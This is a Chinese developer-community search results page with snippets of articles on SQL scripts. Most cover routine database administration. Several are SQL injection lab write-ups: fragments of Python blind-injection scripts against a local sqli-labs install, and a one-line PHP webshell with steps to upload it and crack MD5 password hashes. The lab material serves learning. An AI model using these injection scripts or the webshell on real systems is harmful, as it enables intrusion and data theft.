首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏wuming_CTF

    Sql注入脚本

    ---- 自增脚本 # coding:utf-8 import requests import datetime import time # 获取数据库名长度 def database_len() : for i in range(1, 10): url = "http://127.0.0.1/sqli-labs/Less-5/index.php" payload #0123456789abcdefghijklmnopqrstuvwxyz url = "http://127.0.0.1/sqli-labs/Less-5/ break print('database_name:', name) if __name__ == '__main__': database_name() 二分法脚本 # -*- coding: utf-8 -*- import requests url="http://127.0.0.1/sqli-labs/Less-5/?

    1.1K20发布于 2021-01-21
  • 来自专栏SQL数据库开发

    SQL常用脚本整理

    工作中有许多比较常用的SQL脚本,今天开始分几章分享给大家。 group by title,titleofcourtesy having count(1)>1) 结果: title在和titleofcourtesy进行拼接后符合条件的就只有ID为6,7,8,9的了 5、 把多行SQL数据变成一条多列数据,即新增列 SELECT id, name, SUM(CASE WHEN quarter=1 THEN number ELSE 0 END) '一季度', 20 SELECT CONVERT(varchar(100), GETDATE(), 4) --结果: 07.12.20 SELECT CONVERT(varchar(100), GETDATE(), 5)

    71611编辑于 2024-04-25
  • 来自专栏GitHub专栏

    SQL 常用脚本整理

    常用功能脚本 ---- 1.导出整个数据库 1mysqldump -u 用户名 -p –default-character-set=latin1 数据库名 > 导出的文件名(数据库默认编码是latin1 8 9然后使用source命令,后面参数为脚本文件(如这里用到的.sql) 10 11mysql>source wcnc_db.sql 12 13B:使用mysqldump命令 14 15mysqldump -u username -p dbname < filename.sql 16 17C:使用mysql命令 18 19mysql -u username -p -D dbname < filename.sql 4 5导入auction.sql文件 6 7c:mysqlbin>mysql -u root -p auction < auction.sql。 文件命令(例如D:/mysql.sql) mysql>use database; mysql>source d:/mysql.sql; 10:删除表 mysql>drop TABLE MYTABLE

    76210发布于 2021-11-10
  • 来自专栏吾非同

    SQL 常用脚本整理

    常用功能脚本 1.导出整个数据库 1mysqldump -u 用户名 -p –default-character-set=latin1 数据库名 > 导出的文件名(数据库默认编码是latin1) 9然后使用source命令,后面参数为脚本文件(如这里用到的.sql) 10 11mysql>source wcnc_db.sql 12 13B:使用mysqldump命令 14 15mysqldump -u username -p dbname < filename.sql 16 17C:使用mysql命令 18 19mysql -u username -p -D dbname < filename.sql 4 5导入auction.sql文件 6 7c:mysqlbin>mysql -u root -p auction < auction.sql。 文件命令(例如D:/mysql.sql) mysql>use database; mysql>source d:/mysql.sql; 10:删除表 mysql>drop TABLE MYTABLE

    97930发布于 2021-11-09
  • 来自专栏pangguoming

    PowerDesigner导入SQL脚本

    .; 选择好DBMS(数据库管理系统)类型;然后点击确定按钮;这里演示选中的是mysql数据库,具体类型根据自己需要选择; 点击Add  Files 图标添加脚本 ; 找到要导入的sql脚本,鼠标单击打开按钮; 鼠标单击,确定按钮; 开始反向工程生成数据库.....

    2.3K50发布于 2018-03-09
  • 来自专栏程序猿

    SQL Server基础SQL脚本之Group By

    table EmpTable drop table EmpTable CREATE TABLE EmpTable ( EmpName nchar(3), Region nvarchar(5) 显示如山东地区人力资源部的平均工资的信息 select Region,Department,avg(Salary) from EmpTable group by Region,Department --5)

    1.5K50发布于 2018-03-09
  • 来自专栏乐沙弥的世界

    LinuxUnix shell 脚本中调用SQL,RMAN脚本

    本文针对Linux/Unix shell脚本调用sql, rman 脚本给出了相关示例。 一、由shell脚本调用sql,rman脚本 1、shell脚本调用sql脚本 #首先编辑sql文件 oracle@SZDB:~> more dept.sql connect scott/tiger spool 脚本内调用sql脚本 oracle@SZDB:~> more get_dept.sh #! /rman_bak.sh 二、嵌入sql语句及rman到shell脚本 1、直接将sql语句嵌入到shell脚本 oracle@SZDB:~> more get_dept_2.sh #! /rman_bak_2.sh RMAN> RMAN> 2> 3> 4> 5> 6> 7> 8> 9> 10> 11> 12> 13> 14> 15> 16> 17> 18> 19> 20> 21> RMAN

    1.7K10发布于 2018-08-14
  • 来自专栏NetCore

    Sql生成数据插入Sql脚本

    @tablename sysname AS declare @column varchar(1000) declare @columndata varchar(1000) declare @sql if @@fetch_status < >-2 begin if @xtype not in(189,34,35,99,98) --timestamp不需处理,image,text,ntext,sql_variant syscolumns_cursor into @name,@xtype end close syscolumns_cursor deallocate syscolumns_cursor set @sql '+@tablename+'('+@column+') values(''as ''--'','+@columndata+','')'' from '+@tablename print '--'+@sql exec(@sql) if @ident is not null print 'SET IDENTITY_INSERT '+@TableName+' OFF' GO exec UspOutputData

    1.6K70发布于 2018-02-01
  • 来自专栏网安菜鸟成长记

    sql-labs-less26a|sql注入(脚本

    前言: 本关为sql-labs系列less26a,此系列持续更新,前面的关卡可以查看我前面的文章,本关使用bool盲注的方法用脚本跑,如有错误的地方欢迎师傅指正。 方法跟前面的9、10关差不多,直接放脚本: import requests import time import datetime url = "http://localhost/sqli-labs-master difference > 1: flag += chr(k) print("flag为->"+flag) get_flag() 可以自己参考脚本脚本详细细节可以访问sql-labs-less9/less10,感谢支持!

    1.3K20发布于 2020-10-28
  • 来自专栏凹凸玩数据

    Pandas直接读取sql脚本

    之前有群友反应同事给了他一个几百MB的sql脚本,导入数据库再从数据库读取数据有点慢,想了解下有没有可以直接读取sql脚本到pandas的方法。 01 解析sql脚本文本文件替换成csv格式并加载 我考虑了一下sql脚本也就只是一个文本文件而已,而且只有几百MB,现代的机器足以把它一次性全部加载到内存中,使用python来处理也不会太慢。 我简单研究了一下sql脚本的导出格式,并根据格式写出了以下sql脚本的读取方法。 注意:该读取方法只针对SQLyog导出的mysql脚本测试,其他数据库可能代码需要根据实际情况微调。 :sql脚本的位置 quotechar:脚本中字符串是单引号还是双引号,默认使用单引号解析 返回: 一个字典,键是表名,值是该表对应的数据所组成的datafream对象 下面我测试读取下面这个sql脚本 02 将sql脚本转换为sqlite格式并通过本地sql连接读取 在写完上面的方法后,我又想到另一种解决思路,就是将sql脚本转换成sqlite语法的sql语句,然后直接加载。

    1.9K20发布于 2021-02-05
  • 来自专栏SQL数据库开发

    21个SQL实用脚本

    SQL面试专栏 SQL145题系列 工作中有许多比较常用的SQL脚本,今天开始分几章分享给大家。 group by title,titleofcourtesy having count(1)>1) 结果: title在和titleofcourtesy进行拼接后符合条件的就只有ID为6,7,8,9的了 5、 例如: SELECT CASE WHEN ISNULL(5-2,0)=0 THEN '' ELSE CAST(CONVERT(DECIMAL(18,2),5*100.0/(5-2)) AS VARCHAR '+ convert(varchar(10),datediff(ms,@timediff,getdate())) 结果如下: 在状态栏是不会精确到毫秒的,只能精确到秒 这个脚本可以更加有效的查看SQL代码的执行效率 以上就是今天分享给大家一些比较实用的SQL脚本,以后想到了其他内容再分享给大家,好东西记得分享转发呀~

    75610编辑于 2024-04-25
  • 来自专栏啄木鸟软件测试

    SQL注入到脚本

    如果要使用正则表达式轻松地从结果页检索信息(例如,如果要编写SQL注入脚本),可以在注入中使用标记:``1 UNION SELECT 1,concat('^^^',table_name,':',column_name 遗憾的是,可用的MD5不是PHP函数MD5创建的格式。为了破解此密码,我们需要一个支持raw-md5的John版本。主网站上提供的社区增强版支持raw-md5,可以使用。 我们可以看到,有一个文件上传功能允许用户上传图片,我们可以使用此功能尝试上传PHP脚本。这个PHP脚本一旦上传到服务器上,将为我们提供一种运行PHP代码和命令的方法。 首先,我们需要创建一个PHP脚本来运行命令。下面是一个简单且最小的webshell的源代码: <? system($_GET['cmd']); ?> 此脚本获取参数cmd的内容并执行它。 我们现在可以使用页面上提供的上载功能:http://vulnerable/admin/new.php并尝试上载此脚本。 我们可以看到,脚本没有正确上传到服务器上。应用程序阻止扩展名为的文件。

    3.1K10编辑于 2022-09-23
  • 来自专栏程序猿

    SQL Server基础SQL脚本之主外键约束

    SchDB') drop database SchDB create database SchDB on primary (name='S_DB',filename='D:\S_DB.mdf',size=5mb ), (name='S_DB_N_4',filename='D:\S_DB_N_4.ndf',size=1mb,maxsize=50mb,filegrowth=1mb), (name='S_DB_N_5' ,filename='D:\S_DB_N_5.ndf',size=1mb,maxsize=50mb,filegrowth=1mb) go alter database SchDB add filegroup age between 27 and 80), sex int check(sex in('M','F')), tel nvarchar(20) check(tel like'1[3,5,7,8 ), (name='S_DB_N_4',filename='D:\S_DB_N_4.ndf',size=1mb,maxsize=50mb,filegrowth=1mb), (name='S_DB_N_5'

    1.8K60发布于 2018-03-09
  • 来自专栏网安菜鸟成长记

    sql-labs-less8|SQL注入,脚本注入

    前言: 此篇为sql-labs系列less-8,这一关使用脚本盲注,使用的sql语句跟第五关差不多,脚本写的比较烂,我也是第一次写,很基础,如果你也不会写的话可以参考一下。 /sql-labs/Less-8/? get_table(): table1_name='' table2_name='' table3_name='' table4_name='' for i in range(5) 语句使用的函数就不在讲了,脚本运行图: ? 需要注意的是,脚本运行非常慢(但是要比手动注入好很多),如果长时间依然没有跑出来结果就说明脚本出了问题,认真排查一下,感谢支持。

    1.4K10发布于 2020-10-28
  • 来自专栏程序猿

    SQL Server基础SQL脚本之创建架构、排序

    盘 create database BankDB on primary( name='BankDB.mdf', filename='D:\BankDB.mdf', size= 5mb , maxsize=100mb, filegrowth=2mb ) --注意:size必须是不小于5MB log on( name='BankDB.ldf', filename 2014-09-06' select @a as 'datatime' declare @i numeric(4,2) set @i=12.56 select @i as [numeric] --sql Dep select DepartmentID+EmployeeID from Dep select * from Dep select * from Dep where DepartmentID>5 =5 select * from Dep where DepartmentID=2 or DepartmentID=50 select * from Emp insert into Emp output

    1.9K80发布于 2018-03-09
  • 来自专栏10km的专栏

    maven:sql-maven-plugin插件执行sql脚本

    sql-maven-plugin插件提供了sql脚本的执行功能,允许用户执行指定的sql脚本文件或语句。 脚本(create_tables.sql)来创建表: run-sql.xml <? -- 指定要执行的sql脚本 'sql'文件夹为脚本所在文件夹下的子文件夹 --> <srcFiles> <srcFile>${project.basedir sql:execute 定义多个独立执行的execution 上面的脚本可以一次性执行一个或多个sql脚本,如果我们希望每个脚本可以在命令行分别独立执行,那么就要定义多个execution来实现。 比如我们将删除表的语句和建表语句分成两个文件(clean_tables.sql,create_tables.sql),希望在命令行分别执行两个脚本,那么 上面脚本就修改成如下的样子: <?

    2K100发布于 2018-01-03
  • 来自专栏韩曙亮的移动开发专栏

    SQL Server】在 SSMS 中 使用 生成 SQL 脚本 方式 实现 数据库 备份 还原 ( 数据备份操作 - 生成 SQL 脚本 | 数据还原操作 - 执行 SQL 脚本 )

    帮助开发人员和数据库管理员进行数据库管理、查询、优化和开发工作 ; 本篇博客介绍如何使用 SSMS 进行数据库备份 ; 使用的原理是 将数据库中的 数据 生成为 SQL 脚本 ( 几万条 SQL 语句 ) , 还原数据库的时候 , 先 TRUNCATE 清空表 , 然后再执行上述生成的 SQL 脚本 ; 2、数据备份操作 - 生成 SQL 脚本 右键点击 数据库 , 选择 " 任务 / 生成脚本 " [TABLE5]; truncate table [dbo].[TABLE6]; truncate table [dbo].[TABLE7]; truncate table [dbo]. [TABLE8]; 语句 , 清空要 恢复数据 的 八张表 ; 一定要把表清空了 , 再执行 SQL 脚本 , 要不然数据全乱了 ; 然后进入到 生成的 SQL 脚本 script_2024_08_08 _10_39.sql 保存目录 C:\Users\octop\Documents\ , 右键点击 SQL 脚本 , 选择 " 打开方式 / SSMS 19 " , 在 SSMS 中 打开后 , 会将 SQL

    6.7K10编辑于 2024-08-09
  • 来自专栏软件测试经验与教训

    使用Excel批量生成SQL脚本

    没错,这就是我通常使用的方法,但是有些人他们不按常理出牌,有时候客户说:我只会执行SQL,我不知道怎么把Excel导入到数据库中。 这个时候我们如何把要更新的内容生产SQL语句给到客户呢? 如何是一两条记录,我们手动写SQL就可以了,但是如果有几百个学生,我们要手动写几百条语句吗?是否有批量生成SQL脚本的方法?这就是我们这里要讲到的:使用Excel批量生成SQL脚本。 过程 这是一个原始的Excel表,它包括了一些ID值和需要更新字段的值: 1:确定需要生成的SQL语句模型。 ? 并按照需要生成的sql语句顺序进行排序。 前面两个列是需要更新的值,后面两个是where的条件字段 ? 3:在Excel表插入空列,拷贝相关的语句进去。

    2.2K20发布于 2018-07-24
  • 来自专栏AI篮球与生活

    SQL常用脚本大全,建议收藏!

    之前我为大家分享过 100个开箱即用 的 Shell 脚本,深受欢迎 。但作为一名数据人,在工作中也会遇到许多比较常用的SQL脚本,今天呢,我就整理总结出来分享给大家,希望能有所帮助。 group by title,titleofcourtesy having count(1)>1) 结果: title在和titleofcourtesy进行拼接后符合条件的就只有ID为6,7,8,9的了 5、 20 SELECT CONVERT(varchar(100), GETDATE(), 4) --结果: 07.12.20 SELECT CONVERT(varchar(100), GETDATE(), 5) 例如: SELECT CASE WHEN ISNULL(5-2,0)=0 THEN '' ELSE CAST(CONVERT(DECIMAL(18,2),5*100.0/(5-2)) AS VARCHAR '+ convert(varchar(10),datediff(ms,@timediff,getdate())) 结果如下: 在状态栏是不会精确到毫秒的,只能精确到秒 这个脚本可以更加有效的查看SQL

    2.1K20编辑于 2022-06-08
  • 来自专栏从ORACLE起航,领略精彩的IT技术。

    使用COE脚本绑定SQL Profile

    用到的是MOS文档215187.1提供的系列脚本中的coe_xfr_sql_profile.sql。 下载地址:coe_xfr_sql_profile.sql.zip 脚本内容具体如下: SPO coe_xfr_sql_profile.log; SET DEF ON TERM OFF ECHO ON FEED ]; REM SQL> START coe_xfr_sql_profile.sql gnjy0mn4y9pbm 2055843663; REM SQL> START coe_xfr_sql_profile.sql REM 5. _&&plan_hash_value.'');'); DBMS_OUTPUT.PUT_LINE('REM 5.

    1.3K10发布于 2019-05-24
领券